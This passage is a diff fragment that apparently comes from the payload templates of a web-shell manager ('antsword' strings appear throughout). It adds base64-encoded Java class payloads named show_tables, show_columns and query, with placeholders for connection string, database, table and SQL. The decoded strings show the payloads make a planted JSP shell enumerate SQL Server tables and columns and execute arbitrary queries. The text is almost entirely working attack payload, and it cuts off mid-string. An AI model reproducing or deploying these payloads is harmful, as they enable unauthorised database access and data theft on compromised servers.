lJPUjovLyABAANoZXgMAGQAZQEAEGphdmEvbGFuZy9TdHJpbmcMAPgA+QwAYQD6BwD7DAD8AP0MAP4A/wEABG51bGwBABAwMTIzNDU2Nzg5QUJDREVGDAEAAPIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQwBAQECDABhAQMMAQQBBQwBBgEHDADvAQgBAAEsDAEJAQMBAAVVVEYtOAwA8QDuAQAMamF2YS52ZXJzaW9uBwEKDAELAO4BAAMxLjkMAQwA/QEAEGphdmEudXRpbC5CYXNlNjQMAQ0BDgEACmdldERlY29kZXIBAA9qYXZhL2xhbmcvQ2xhc3MMAQ8BEAEAEGphdmEvbGFuZy9PYmplY3QHAREMARIBEwwBFAEVAQACW0IBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyDAEWARcHARgMARkBGgEADGRlY29kZUJ1ZmZlcgwBGwDyAQACDQoBAAEKDAEcAR0MAR4BHwcBIAwBIQEiBwDiDAEjASQHAOMMASUBJgcA5AwBJwEoBwDlDAEpAQIMASoA/wwBKwEsDAEtAP8BADhTRUxFQ1QgW25hbWVdIEZST00gc3lzb2JqZWN0cyBXSEVSRSB4dHlwZT0nVScgT1JERVIgQlkgMQEAAQkMAHQAdQEAC1Nob3dfdGFibGVzAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAJY29tcGFyZVRvAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY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',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}',
+    [arg3]: '#{newbase64::db}'
+  },
+  show_columns: {
+    _: 'yv66vgAAADMBMwoARAB/BwCACgACAIEKAAIAgggAgwkAXgCECACFCQBeAIYIAIcJAF4AiAcAiQgAigoACwCLCACMCACNCACOCACPCACQCACRCACSCwCTAJQLAJUAlgsAkwCWBwCXCgAYAH8LAJUAmAoAGACZCgAYAJoKAF4AmwoAXgCcCgALAJ0KAF4AngoACwCaCgACAJ8KAKAAoQcAoggAowoAJACaCACkCgApAKUHAKYKACkApwoAKQCoCgCpAKoKACkAqwgArAgArQoAKQCuBwCvCgApALAKADEAsQoAKQCyCgApALMKABgAtAgAtQoAMQC2CAC3CgAxALgIALkKALoAuwgAvAoAKQC9CAC+CgBCAL8IAMAHAMEKAEIAwgcAwwoAxADFCgBEAMYIAHQHAMcIAMgKAEIAyQoAygDLCADMCgApAM0IAM4IAM8KACkA0AoAKQDRCgDSANMLANQA1QsA1gDXCwDYANkLANoA2wsA2gDcCwDYAN0LANgA3ggA3wgA4AgA4QoAXgDiBwDjAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAOMHAMMHAIAHAOQHAOUHAIkHAKYHAKIBAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcArwEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOYHAOcHAOgHAOkHAOoBAAtzaG93Q29sdW1ucwEAXChMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7DABjAGQBAB1qYXZheC9zZXJ2bGV0L2pzcC9QYWdlQ29udGV4dAwA6wDsDADtAO4BABRhbnRzd29yZHJhbmRvbVByZWZpeAwAYgBgAQAGYmFzZTY0DABfAGABAA9hbnRzd29yZENoYXJzZXQMAGEAYAEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIBAAAMAGMA7wEAAy0+fAEAA3w8LQEAEWFudHN3b3JkYXJnZW5jb2RlAQAPYW50c3dvcmRhcmdjb25uAQANYW50c3dvcmRhcmdkYgEAEGFudHN3b3JkYXJndGFibGUBAAl0ZXh0L2h0bWwHAOUMAPAA7wcA5AwA8QDvAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAPIA8wwA9AD1DAD2APcMAHQAcgwAcQByDAD0APgMAH0AfgwA+QD6BwD7DAD8AO8BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABmAGcBABBqYXZhL2xhbmcvU3RyaW5nDAD9AP4MAGMA/wcBAAwBAQECDAEDAQQBAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwBBQD3AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQYBBwwAYwEIDAEJAQoMAQsBDAwA9AENAQABLAwBDgEIAQAFVVRGLTgMAPYA8wEADGphdmEudmVyc2lvbgcBDwwBEADzAQADMS45DAERAQIBABBqYXZhLnV0aWwuQmFzZTY0DAESARMBAApnZXREZWNvZGVyAQAPamF2YS9sYW5nL0NsYXNzDAEUARUBABBqYXZhL2xhbmcvT2JqZWN0BwEWDAEXARgMARkBGgEAAltCAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBGwEcBwEdDAEeAR8BAAxkZWNvZGVCdWZmZXIMASAA9wEAAg0KAQABCgwBIQEiDAEjASQHASUMASYBJwcA5wwBKAEpBwDoDAEqASsHAOkMASwBLQcA6gwBLgEHDAEvAQQMATABMQwBMgEEAQABCQEAFFNFTEVDVCBUT1AgMSAqIEZST00gAQABLgwAdgB3AQAMU2hvd19jb2x1bW5zAQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAJY29tcGFyZVRvAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspTGphdmEvbGFuZy9TdHJpbmc7AQAFc3BsaXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KVtMamF2YS9sYW5nL1N0cmluZzsBABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyAQANZ2V0Q29ubmVjdGlvbgEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAPY3JlYXRlU3RhdGVtZW50AQAWKClMamF2YS9zcWwvU3RhdGVtZW50OwEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsBAAtnZXRNZXRhRGF0YQEAHigpTGphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhOwEADmdldENvbHVtbkNvdW50AQANZ2V0Q29sdW1uTmFtZQEABG5leHQBAAMoKVoBAAlnZXRTdHJpbmcAIQBeAEQAAAADAAEAXwBgAAAAAQBhAGAAAAABAGIAYAAAAAYAAQBjAGQAAQBlAAAAEQABAAEAAAAFKrcAAbEAAAAAAAEAZgBnAAEAZQAAAekABgARAAABmyvAAAJN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',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}',
+    [arg3]: '#{newbase64::db}',
+    [arg4]: '#{newbase64::table}'
+  },
+  query: {
+    _: 'yv66vgAAADMBLAoAQwB7BwB8CgACAH0KAAIAfggAfwkAWwCACACBCQBbAIIIAIMJAFsAhAcAhQgAhgoACwCHCACICACJCACKCACLCACMCACNCwCOAI8LAJAAkQsAjgCRBwCSCgAXAHsLAJAAkwoAFwCUCgAXAJUKAFsAlgoAWwCXCgALAJgKAFsAmQoACwCVCgACAJoKAJsAnAcAnQgAngoAIwCVCACfCgAoAKAHAKEKACgAogoAKACjCgCkAKUKACgApggApwgAqAoAKACpBwCqCgAoAKsKADAArAoAKACtCgAoAK4KABcArwgAsAoAMACxCACyCgAwALMIALQKALUAtggAtwoAKAC4CAC5CgBBALoIALsHALwKAEEAvQcAvgoAvwDACgBDAMEIAHEHAMIIAMMKAEEAxAoAxQDGCADHCgAoAMgIAMkIAMoKACgAywoAKADMCgDNAM4LAM8A0AsA0QDSCwDTANQLANUA1gsA1QDXCwDTANgLANMA2QgA2goAWwDbBwDcAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHANwHAL4HAHwHAN0HAN4HAIUHAKEHAJ0BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqgEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAN8HAOAHAOEHAOIHAOMBAAVxdWVyeQwAYABhAQAdamF2YXgvc2VydmxldC9qc3AvUGFnZUNvbnRleHQMAOQA5QwA5gDnAQAUYW50c3dvcmRyYW5kb21QcmVmaXgMAF8AXQEABmJhc2U2NAwAXABdAQAPYW50c3dvcmRDaGFyc2V0DABeAF0BABZqYXZhL2xhbmcvU3RyaW5nQnVmZmVyAQAADABgAOgBAAMtPnwBAAN8PC0BABFhbnRzd29yZGFyZ2VuY29kZQEAD2FudHN3b3JkYXJnY29ubgEADmFudHN3b3JkYXJnc3FsAQAJdGV4dC9odG1sBwDeDADpAOgHAN0MAOoA6AEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDADrAOwMAO0A7gwA7wDwDABxAG8MAG4AbwwA7QDxDAB6AG8MAPIA8wcA9AwA9QDoAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEACUVSUk9SOi8vIAEAA2hleAwAYwBkAQAQamF2YS9sYW5nL1N0cmluZwwA9gD3DABgAPgHAPkMAPoA+wwA/AD9AQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMAP4A8AEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAD/AQAMAGABAQwBAgEDDAEEAQUMAO0BBgEAASwMAQcBAQEABVVURi04DADvAOwBAAxqYXZhLnZlcnNpb24HAQgMAQkA7AEAAzEuOQwBCgD7AQAQamF2YS51dGlsLkJhc2U2NAwBCwEMAQAKZ2V0RGVjb2RlcgEAD2phdmEvbGFuZy9DbGFzcwwBDQEOAQAQamF2YS9sYW5nL09iamVjdAcBDwwBEAERDAESARMBAAJbQgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMARQBFQcBFgwBFwEYAQAMZGVjb2RlQnVmZmVyDAEZAPABAAINCgEAAQoMARoBGwwBHAEdBwEeDAEfASAHAOAMASEBIgcA4QwBIwEkBwDiDAElASYHAOMMAScBAAwBKAD9DAEpASoMASsA/QEAAwl8CQwAcwB0AQAFUXVlcnkBABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9zcWwvQ29ubmVjdGlvbgEAEmphdmEvc3FsL1N0YXRlbWVudAEAEmphdmEvc3FsL1Jlc3VsdFNldAEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhAQAKZ2V0UmVxdWVzdAEAICgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7AQALZ2V0UmVzcG9uc2UBACEoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA5zZXRDb250ZW50VHlwZQEAFHNldENoYXJhY3RlckVuY29kaW5nAQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAZnZXRPdXQBAB8oKUxqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXI7AQAbamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyAQAFcHJpbnQBAAhnZXRCeXRlcwEABCgpW0IBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEAEWphdmEvbGFuZy9JbnRlZ2VyAQAIcGFyc2VJbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KUkBAAlzdWJzdHJpbmcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b1VwcGVyQ2FzZQEABmxlbmd0aAEAAygpSQEABChJKVYBAAZjaGFyQXQBAAQoSSlDAQAHaW5kZXhPZgEABChJKUkBABwoSSlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFd3JpdGUBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAljb21wYXJlVG8BAAdmb3JOYW1lAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAd